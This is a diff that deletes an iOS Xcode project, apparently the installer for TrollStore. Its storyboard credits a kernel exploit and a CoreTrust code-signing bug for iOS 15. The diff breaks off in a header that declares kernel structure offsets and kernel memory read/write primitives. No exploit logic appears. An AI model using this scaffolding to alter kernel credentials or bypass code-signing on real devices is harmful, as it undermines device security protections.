CLANG_WARN_INT_CONVERSION = YES;
|
||||
CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES;
|
||||
CLANG_WARN_OBJC_LITERAL_CONVERSION = YES;
|
||||
CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR;
|
||||
CLANG_WARN_QUOTED_INCLUDE_IN_FRAMEWORK_HEADER = YES;
|
||||
CLANG_WARN_RANGE_LOOP_ANALYSIS = YES;
|
||||
CLANG_WARN_STRICT_PROTOTYPES = YES;
|
||||
CLANG_WARN_SUSPICIOUS_MOVE = YES;
|
||||
CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE;
|
||||
CLANG_WARN_UNREACHABLE_CODE = YES;
|
||||
CLANG_WARN__DUPLICATE_METHOD_MATCH = YES;
|
||||
COPY_PHASE_STRIP = NO;
|
||||
DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym";
|
||||
ENABLE_NS_ASSERTIONS = NO;
|
||||
ENABLE_STRICT_OBJC_MSGSEND = YES;
|
||||
GCC_C_LANGUAGE_STANDARD = gnu11;
|
||||
GCC_NO_COMMON_BLOCKS = YES;
|
||||
GCC_WARN_64_TO_32_BIT_CONVERSION = YES;
|
||||
GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR;
|
||||
GCC_WARN_UNDECLARED_SELECTOR = YES;
|
||||
GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE;
|
||||
GCC_WARN_UNUSED_FUNCTION = YES;
|
||||
GCC_WARN_UNUSED_VARIABLE = YES;
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 15.5;
|
||||
MTL_ENABLE_DEBUG_INFO = NO;
|
||||
MTL_FAST_MATH = YES;
|
||||
SDKROOT = iphoneos;
|
||||
VALIDATE_PRODUCT = YES;
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
8CE2BD3A28AD5D730058FBAD /* Debug */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ARCHS = (
|
||||
arm64e,
|
||||
arm64,
|
||||
);
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
CURRENT_PROJECT_VERSION = 1;
|
||||
DEVELOPMENT_TEAM = 3Z56NQJ65R;
|
||||
GENERATE_INFOPLIST_FILE = YES;
|
||||
INFOPLIST_FILE = TrollInstaller/Info.plist;
|
||||
INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
|
||||
INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;
|
||||
INFOPLIST_KEY_UIMainStoryboardFile = Main;
|
||||
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
|
||||
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/Frameworks",
|
||||
);
|
||||
MARKETING_VERSION = 1.0;
|
||||
OTHER_LDFLAGS = (
|
||||
"-framework",
|
||||
IOKit,
|
||||
"-larchive",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SWIFT_EMIT_LOC_STRINGS = YES;
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
};
|
||||
name = Debug;
|
||||
};
|
||||
8CE2BD3B28AD5D730058FBAD /* Release */ = {
|
||||
isa = XCBuildConfiguration;
|
||||
buildSettings = {
|
||||
ARCHS = (
|
||||
arm64e,
|
||||
arm64,
|
||||
);
|
||||
ASSETCATALOG_COMPILER_APPICON_NAME = AppIcon;
|
||||
ASSETCATALOG_COMPILER_GLOBAL_ACCENT_COLOR_NAME = AccentColor;
|
||||
CODE_SIGN_STYLE = Automatic;
|
||||
CURRENT_PROJECT_VERSION = 1;
|
||||
DEVELOPMENT_TEAM = 3Z56NQJ65R;
|
||||
GENERATE_INFOPLIST_FILE = YES;
|
||||
INFOPLIST_FILE = TrollInstaller/Info.plist;
|
||||
INFOPLIST_KEY_UIApplicationSupportsIndirectInputEvents = YES;
|
||||
INFOPLIST_KEY_UILaunchStoryboardName = LaunchScreen;
|
||||
INFOPLIST_KEY_UIMainStoryboardFile = Main;
|
||||
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPad = "UIInterfaceOrientationPortrait UIInterfaceOrientationPortraitUpsideDown UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
|
||||
INFOPLIST_KEY_UISupportedInterfaceOrientations_iPhone = "UIInterfaceOrientationPortrait UIInterfaceOrientationLandscapeLeft UIInterfaceOrientationLandscapeRight";
|
||||
IPHONEOS_DEPLOYMENT_TARGET = 14.0;
|
||||
LD_RUNPATH_SEARCH_PATHS = (
|
||||
"$(inherited)",
|
||||
"@executable_path/Frameworks",
|
||||
);
|
||||
MARKETING_VERSION = 1.0;
|
||||
OTHER_LDFLAGS = (
|
||||
"-framework",
|
||||
IOKit,
|
||||
"-larchive",
|
||||
);
|
||||
PRODUCT_BUNDLE_IDENTIFIER = com.opa334.TrollInstaller;
|
||||
PRODUCT_NAME = "$(TARGET_NAME)";
|
||||
SWIFT_EMIT_LOC_STRINGS = YES;
|
||||
TARGETED_DEVICE_FAMILY = "1,2";
|
||||
};
|
||||
name = Release;
|
||||
};
|
||||
/* End XCBuildConfiguration section */
|
||||
|
||||
/* Begin XCConfigurationList section */
|
||||
8CE2BD1B28AD5D710058FBAD /* Build configuration list for PBXProject "TrollInstaller" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
8CE2BD3728AD5D730058FBAD /* Debug */,
|
||||
8CE2BD3828AD5D730058FBAD /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
8CE2BD3928AD5D730058FBAD /* Build configuration list for PBXNativeTarget "TrollInstaller" */ = {
|
||||
isa = XCConfigurationList;
|
||||
buildConfigurations = (
|
||||
8CE2BD3A28AD5D730058FBAD /* Debug */,
|
||||
8CE2BD3B28AD5D730058FBAD /* Release */,
|
||||
);
|
||||
defaultConfigurationIsVisible = 0;
|
||||
defaultConfigurationName = Release;
|
||||
};
|
||||
/* End XCConfigurationList section */
|
||||
};
|
||||
rootObject = 8CE2BD1828AD5D710058FBAD /* Project object */;
|
||||
}
|
|
@ -1,7 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<Workspace
|
||||
version = "1.0">
|
||||
<FileRef
|
||||
location = "self:">
|
||||
</FileRef>
|
||||
</Workspace>
|
|
@ -1,8 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>IDEDidComputeMac32BitWarning</key>
|
||||
<true/>
|
||||
</dict>
|
||||
</plist>
|
|
@ -1,14 +0,0 @@
|
|||
//
|
||||
// AppDelegate.h
|
||||
// TrollInstaller
|
||||
//
|
||||
// Created by Lars Fröder on 17.08.22.
|
||||
//
|
||||
|
||||
#import <UIKit/UIKit.h>
|
||||
|
||||
@interface AppDelegate : UIResponder <UIApplicationDelegate>
|
||||
|
||||
|
||||
@end
|
||||
|
|
@ -1,40 +0,0 @@
|
|||
//
|
||||
// AppDelegate.m
|
||||
// TrollInstaller
|
||||
//
|
||||
// Created by Lars Fröder on 17.08.22.
|
||||
//
|
||||
|
||||
#import "AppDelegate.h"
|
||||
|
||||
@interface AppDelegate ()
|
||||
|
||||
@end
|
||||
|
||||
@implementation AppDelegate
|
||||
|
||||
|
||||
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
|
||||
// Override point for customization after application launch.
|
||||
return YES;
|
||||
}
|
||||
|
||||
|
||||
#pragma mark - UISceneSession lifecycle
|
||||
|
||||
|
||||
- (UISceneConfiguration *)application:(UIApplication *)application configurationForConnectingSceneSession:(UISceneSession *)connectingSceneSession options:(UISceneConnectionOptions *)options {
|
||||
// Called when a new scene session is being created.
|
||||
// Use this method to select a configuration to create the new scene with.
|
||||
return [[UISceneConfiguration alloc] initWithName:@"Default Configuration" sessionRole:connectingSceneSession.role];
|
||||
}
|
||||
|
||||
|
||||
- (void)application:(UIApplication *)application didDiscardSceneSessions:(NSSet<UISceneSession *> *)sceneSessions {
|
||||
// Called when the user discards a scene session.
|
||||
// If any sessions were discarded while the application was not running, this will be called shortly after application:didFinishLaunchingWithOptions.
|
||||
// Use this method to release any resources that were specific to the discarded scenes, as they will not return.
|
||||
}
|
||||
|
||||
|
||||
@end
|
|
@ -1,11 +0,0 @@
|
|||
{
|
||||
"colors" : [
|
||||
{
|
||||
"idiom" : "universal"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
Before Width: | Height: | Size: 245 KiB |
Before Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 15 KiB |
Before Width: | Height: | Size: 21 KiB |
Before Width: | Height: | Size: 24 KiB |
Before Width: | Height: | Size: 27 KiB |
Before Width: | Height: | Size: 1.9 KiB |
Before Width: | Height: | Size: 2.7 KiB |
Before Width: | Height: | Size: 3.8 KiB |
Before Width: | Height: | Size: 3.8 KiB |
Before Width: | Height: | Size: 3.8 KiB |
Before Width: | Height: | Size: 5.8 KiB |
Before Width: | Height: | Size: 5.8 KiB |
Before Width: | Height: | Size: 6.0 KiB |
Before Width: | Height: | Size: 8.2 KiB |
Before Width: | Height: | Size: 8.4 KiB |
Before Width: | Height: | Size: 8.4 KiB |
Before Width: | Height: | Size: 9.7 KiB |
|
@ -1,116 +0,0 @@
|
|||
{
|
||||
"images" : [
|
||||
{
|
||||
"filename" : "40.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "60.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "58.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "87.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "80.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "120.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "120-1.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "2x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "180.png",
|
||||
"idiom" : "iphone",
|
||||
"scale" : "3x",
|
||||
"size" : "60x60"
|
||||
},
|
||||
{
|
||||
"filename" : "20.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "40-1.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "20x20"
|
||||
},
|
||||
{
|
||||
"filename" : "29.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "58-1.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "29x29"
|
||||
},
|
||||
{
|
||||
"filename" : "40-2.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "80-1.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "40x40"
|
||||
},
|
||||
{
|
||||
"filename" : "76.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "1x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "152.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "76x76"
|
||||
},
|
||||
{
|
||||
"filename" : "167.png",
|
||||
"idiom" : "ipad",
|
||||
"scale" : "2x",
|
||||
"size" : "83.5x83.5"
|
||||
},
|
||||
{
|
||||
"filename" : "1024.png",
|
||||
"idiom" : "ios-marketing",
|
||||
"scale" : "1x",
|
||||
"size" : "1024x1024"
|
||||
}
|
||||
],
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
|
@ -1,6 +0,0 @@
|
|||
{
|
||||
"info" : {
|
||||
"author" : "xcode",
|
||||
"version" : 1
|
||||
}
|
||||
}
|
|
@ -1,25 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="13122.16" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" launchScreen="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="01J-lp-oVM">
|
||||
<dependencies>
|
||||
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="13104.12"/>
|
||||
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
|
||||
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
|
||||
</dependencies>
|
||||
<scenes>
|
||||
<!--View Controller-->
|
||||
<scene sceneID="EHf-IW-A2E">
|
||||
<objects>
|
||||
<viewController id="01J-lp-oVM" sceneMemberID="viewController">
|
||||
<view key="view" contentMode="scaleToFill" id="Ze5-6b-2t3">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="667"/>
|
||||
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
|
||||
<color key="backgroundColor" xcode11CocoaTouchSystemColor="systemBackgroundColor" cocoaTouchSystemColor="whiteColor"/>
|
||||
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
|
||||
</view>
|
||||
</viewController>
|
||||
<placeholder placeholderIdentifier="IBFirstResponder" id="iYj-Kq-Ea1" userLabel="First Responder" sceneMemberID="firstResponder"/>
|
||||
</objects>
|
||||
<point key="canvasLocation" x="53" y="375"/>
|
||||
</scene>
|
||||
</scenes>
|
||||
</document>
|
|
@ -1,91 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="20037" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="BYZ-38-t0r">
|
||||
<device id="retina6_1" orientation="portrait" appearance="light"/>
|
||||
<dependencies>
|
||||
<deployment identifier="iOS"/>
|
||||
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="20020"/>
|
||||
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
|
||||
<capability name="System colors in document resources" minToolsVersion="11.0"/>
|
||||
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
|
||||
</dependencies>
|
||||
<scenes>
|
||||
<!--View Controller-->
|
||||
<scene sceneID="tne-QT-ifu">
|
||||
<objects>
|
||||
<viewController id="BYZ-38-t0r" customClass="ViewController" sceneMemberID="viewController">
|
||||
<view key="view" contentMode="scaleToFill" id="8bC-Xf-vdC">
|
||||
<rect key="frame" x="0.0" y="0.0" width="414" height="896"/>
|
||||
<autoresizingMask key="autoresizingMask" widthSizable="YES" heightSizable="YES"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="Xbu-Hl-yex">
|
||||
<rect key="frame" x="163.5" y="800" width="87" height="44"/>
|
||||
<state key="normal" title="Button"/>
|
||||
<buttonConfiguration key="configuration" style="plain" title="Install">
|
||||
<fontDescription key="titleFontDescription" type="system" pointSize="25"/>
|
||||
</buttonConfiguration>
|
||||
<connections>
|
||||
<action selector="installButtonPressed:" destination="BYZ-38-t0r" eventType="touchUpInside" id="8iI-fe-hIY"/>
|
||||
</connections>
|
||||
</button>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" textAlignment="center" lineBreakMode="tailTruncation" numberOfLines="2" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="JVS-Tm-8qS">
|
||||
<rect key="frame" x="156.5" y="44" width="101" height="60"/>
|
||||
<string key="text">TrollStore
|
||||
Installer</string>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="25"/>
|
||||
<nil key="textColor"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" textAlignment="center" lineBreakMode="tailTruncation" numberOfLines="5" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="1a2-Wm-Mcd">
|
||||
<rect key="frame" x="51.5" y="123" width="311.5" height="101.5"/>
|
||||
<string key="text">Credits:
|
||||
@jaakerblom: multicast_bytecopy exploit
|
||||
@xina520: get root technique
|
||||
@LinusHenze: CoreTrust bug
|
||||
@zhuowei: CoreTrust bug writeup</string>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="Wzs-Lb-XiN">
|
||||
<rect key="frame" x="207" y="453" width="0.0" height="0.0"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" text="Supports iOS 15.0 - 15.1.1" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="s80-eR-fY3">
|
||||
<rect key="frame" x="110.5" y="249" width="193" height="21"/>
|
||||
<fontDescription key="fontDescription" type="system" pointSize="17"/>
|
||||
<nil key="textColor"/>
|
||||
<nil key="highlightedColor"/>
|
||||
</label>
|
||||
</subviews>
|
||||
<viewLayoutGuide key="safeArea" id="6Tk-OE-BBY"/>
|
||||
<color key="backgroundColor" systemColor="systemBackgroundColor"/>
|
||||
<constraints>
|
||||
<constraint firstItem="Wzs-Lb-XiN" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="3hT-dN-t3y"/>
|
||||
<constraint firstItem="s80-eR-fY3" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="CRX-Jh-CcX"/>
|
||||
<constraint firstItem="JVS-Tm-8qS" firstAttribute="top" secondItem="6Tk-OE-BBY" secondAttribute="top" id="QXJ-WA-nNb"/>
|
||||
<constraint firstItem="1a2-Wm-Mcd" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="c2Z-Vi-FvF"/>
|
||||
<constraint firstItem="Wzs-Lb-XiN" firstAttribute="centerY" secondItem="6Tk-OE-BBY" secondAttribute="centerY" id="gpk-JM-ZKB"/>
|
||||
<constraint firstItem="1a2-Wm-Mcd" firstAttribute="top" secondItem="JVS-Tm-8qS" secondAttribute="bottom" constant="19" id="kjo-EL-B0G"/>
|
||||
<constraint firstItem="Xbu-Hl-yex" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="pWV-JU-YTc"/>
|
||||
<constraint firstItem="6Tk-OE-BBY" firstAttribute="bottom" secondItem="Xbu-Hl-yex" secondAttribute="bottom" constant="18" id="rj9-jo-r9k"/>
|
||||
<constraint firstItem="s80-eR-fY3" firstAttribute="top" secondItem="1a2-Wm-Mcd" secondAttribute="bottom" constant="24.5" id="xcO-OB-aq4"/>
|
||||
<constraint firstItem="JVS-Tm-8qS" firstAttribute="centerX" secondItem="6Tk-OE-BBY" secondAttribute="centerX" id="yNr-e8-C4N"/>
|
||||
</constraints>
|
||||
</view>
|
||||
<connections>
|
||||
<outlet property="statusLabel" destination="Wzs-Lb-XiN" id="Vrz-B5-otQ"/>
|
||||
</connections>
|
||||
</viewController>
|
||||
<placeholder placeholderIdentifier="IBFirstResponder" id="dkx-z0-nzr" sceneMemberID="firstResponder"/>
|
||||
</objects>
|
||||
<point key="canvasLocation" x="28.985507246376812" y="83.705357142857139"/>
|
||||
</scene>
|
||||
</scenes>
|
||||
<resources>
|
||||
<systemColor name="systemBackgroundColor">
|
||||
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</systemColor>
|
||||
</resources>
|
||||
</document>
|
|
@ -1,25 +0,0 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>UIApplicationSceneManifest</key>
|
||||
<dict>
|
||||
<key>UIApplicationSupportsMultipleScenes</key>
|
||||
<false/>
|
||||
<key>UISceneConfigurations</key>
|
||||
<dict>
|
||||
<key>UIWindowSceneSessionRoleApplication</key>
|
||||
<array>
|
||||
<dict>
|
||||
<key>UISceneConfigurationName</key>
|
||||
<string>Default Configuration</string>
|
||||
<key>UISceneDelegateClassName</key>
|
||||
<string>SceneDelegate</string>
|
||||
<key>UISceneStoryboardFile</key>
|
||||
<string>Main</string>
|
||||
</dict>
|
||||
</array>
|
||||
</dict>
|
||||
</dict>
|
||||
</dict>
|
||||
</plist>
|
|
@ -1,232 +0,0 @@
|
|||
//
|
||||
// KernelManager.h
|
||||
// NonceSet15
|
||||
//
|
||||
// Created by Lars Fröder on 02.06.22.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
struct StaticOffsets
|
||||
{
|
||||
uint64_t kernel_base;
|
||||
uint64_t kauth_cred_table_anchor;
|
||||
uint64_t allproc;
|
||||
uint64_t sandbox_secret;
|
||||
uint64_t cs_debug;
|
||||
};
|
||||
|
||||
struct SlidOffsets
|
||||
{
|
||||
uint64_t kauth_cred_table_anchor;
|
||||
uint64_t allproc;
|
||||
uint64_t sandbox_secret;
|
||||
uint64_t cs_debug;
|
||||
};
|
||||
|
||||
struct UCredOffsets
|
||||
{
|
||||
uint64_t posix_offset;
|
||||
uint64_t label_offset;
|
||||
uint64_t audit_offset;
|
||||
};
|
||||
|
||||
struct TaskOffsets
|
||||
{
|
||||
uint64_t itk_space_offset;
|
||||
uint64_t t_flags_offset;
|
||||
uint64_t rop_pid_offset;
|
||||
uint64_t jop_pid_offset;
|
||||
uint64_t disable_user_jop_offset;
|
||||
uint64_t threads_offset;
|
||||
uint64_t map_offset;
|
||||
};
|
||||
|
||||
struct ThreadOffsets
|
||||
{
|
||||
uint64_t task_threads_offset;
|
||||
uint64_t disable_user_jop_offset;
|
||||
uint64_t rop_pid_offset;
|
||||
uint64_t jop_pid_offset;
|
||||
};
|
||||
|
||||
struct ProcOffsets
|
||||
{
|
||||
uint64_t task_offset;
|
||||
uint64_t pid_offset;
|
||||
uint64_t comm_offset;
|
||||
uint64_t name_offset;
|
||||
uint64_t ucred_offset;
|
||||
uint64_t textvp_offset;
|
||||
uint64_t textoff_offset;
|
||||
uint64_t csflags_offset;
|
||||
uint64_t fd_offset;
|
||||
};
|
||||
|
||||
struct FileDescriptorOffsets
|
||||
{
|
||||
uint64_t ofiles_offset;
|
||||
};
|
||||
|
||||
struct FileProcOffsets
|
||||
{
|
||||
uint64_t glob_offset;
|
||||
};
|
||||
|
||||
struct FileGlobOffsets
|
||||
{
|
||||
uint64_t data_offset;
|
||||
};
|
||||
|
||||
struct ItkSpaceOffsets
|
||||
{
|
||||
uint64_t is_table_offset;
|
||||
};
|
||||
|
||||
struct IpcEntryOffsets
|
||||
{
|
||||
uint32_t size;
|
||||
};
|
||||
|
||||
struct CsBlobOffsets
|
||||
{
|
||||
uint64_t team_id_offset;
|
||||
uint64_t platform_binary_offset;
|
||||
uint64_t pmap_cs_entry_offset;
|
||||
};
|
||||
|
||||
struct UbcInfoOffsets
|
||||
{
|
||||
uint64_t csblobs_offset;
|
||||
};
|
||||
|
||||
struct VnodeOffsets
|
||||
{
|
||||
union un {
|
||||
uint64_t mountedhere;
|
||||
uint64_t socket;
|
||||
uint64_t specinfo;
|
||||
uint64_t fifoinfo;
|
||||
uint64_t ubcinfo;
|
||||
} un_offset;
|
||||
uint64_t type_offset;
|
||||
uint64_t flag_offset;
|
||||
};
|
||||
|
||||
struct VmMapOffsets
|
||||
{
|
||||
uint64_t header_offset;
|
||||
uint64_t pmap_offset;
|
||||
uint64_t flag_offset;
|
||||
};
|
||||
|
||||
struct VmHeaderOffsets
|
||||
{
|
||||
uint64_t links_offset;
|
||||
uint64_t numentry_offset;
|
||||
};
|
||||
|
||||
struct VmMapLinkOffsets
|
||||
{
|
||||
uint64_t prev_offset;
|
||||
uint64_t next_offset;
|
||||
};
|
||||
|
||||
struct CsDirEntryOffsets
|
||||
{
|
||||
uint64_t trust_level_offset;
|
||||
};
|
||||
|
||||
struct VmMapEntryOffsets
|
||||
{
|
||||
uint64_t links_offset;
|
||||
uint64_t flag_bits_offset;
|
||||
};
|
||||
|
||||
/*struct PmapOffsets
|
||||
{
|
||||
|
||||
}*/
|
||||
|
||||
#define un_mountedhere un.mountedhere
|
||||
#define un_socket un.socket
|
||||
#define un_specinfo un.specinfo
|
||||
#define un_fifoinfo un.fifoinfo
|
||||
#define un_ubcinfo un.ubcinfo
|
||||
|
||||
struct StructOffsets
|
||||
{
|
||||
struct ProcOffsets proc;
|
||||
struct UCredOffsets ucred;
|
||||
struct ItkSpaceOffsets itk_space;
|
||||
struct TaskOffsets task;
|
||||
struct ThreadOffsets thread;
|
||||
struct IpcEntryOffsets ipc_entry;
|
||||
struct FileDescriptorOffsets fd;
|
||||
struct FileProcOffsets fproc;
|
||||
struct FileGlobOffsets fglob;
|
||||
struct VnodeOffsets vnode;
|
||||
struct UbcInfoOffsets ubc_info;
|
||||
struct CsBlobOffsets csblob;
|
||||
struct VmMapOffsets vmmap;
|
||||
struct CsDirEntryOffsets csdirentry;
|
||||
struct VmHeaderOffsets vmheader;
|
||||
struct VmMapLinkOffsets vmlink;
|
||||
struct VmMapEntryOffsets vmentry;
|
||||
};
|
||||
|
||||
NS_ASSUME_NONNULL_BEGIN
|
||||
|
||||
@interface KernelManager : NSObject
|
||||
{
|
||||
}
|
||||
|
||||
@property (nonatomic) uint32_t (*kread_32_d)(uint64_t addr);
|
||||
@property (nonatomic) uint64_t (*kread_64_d)(uint64_t addr);
|
||||
@property (nonatomic) void (*kread_32_id)(uint64_t addr, uint32_t* outPtr);
|
||||
@property (nonatomic) void (*kread_64_id)(uint64_t addr, uint64_t* outPtr);
|
||||
@property (nonatomic) int (*kread_32_id_ret)(uint64_t addr, uint32_t* outPtr);
|
||||
@property (nonatomic) int (*kread_64_id_ret)(uint64_t addr, uint64_t* outPtr);
|
||||
@property (nonatomic, copy) int (^kread32_block)(uint64_t addr, uint32_t* outPtr);
|
||||
@property (nonatomic, copy) int (^kread64_block)(uint64_t addr, uint64_t* outPtr);
|
||||
|
||||
@property (nonatomic) void (*kwrite_32)(uint64_t addr, uint32_t value);
|
||||
@property (nonatomic) void (*kwrite_64)(uint64_t addr, uint64_t value);
|
||||
@property (nonatomic) int (*kwrite_32_ret)(uint64_t addr, uint32_t value);
|
||||
@property (nonatomic) int (*kwrite_64_ret)(uint64_t addr, uint64_t value);
|
||||
@property (nonatomic, copy) int (^kwrite32_block)(uint64_t addr, uint32_t value);
|
||||
@property (nonatomic, copy) int (^kwrite64_block)(uint64_t addr, uint64_t value);
|
||||
|
||||
@property (nonatomic) int (*kread_buf)(uint64_t addr, void* outBuf, size_t len);
|
||||
@property (nonatomic) int (*kwrite_buf)(uint64_t addr, void* inBuf, size_t len);
|
||||
|
||||
@property (nonatomic) void (*kcleanup)(void);
|
||||
|
||||
@property (nonatomic) uint64_t kernel_slide;
|
||||
@property (nonatomic) uint64_t kernel_base;
|
||||
|
||||
@property (nonatomic) struct SlidOffsets slid_offsets;
|
||||
@property (nonatomic) struct StaticOffsets static_offsets;
|
||||
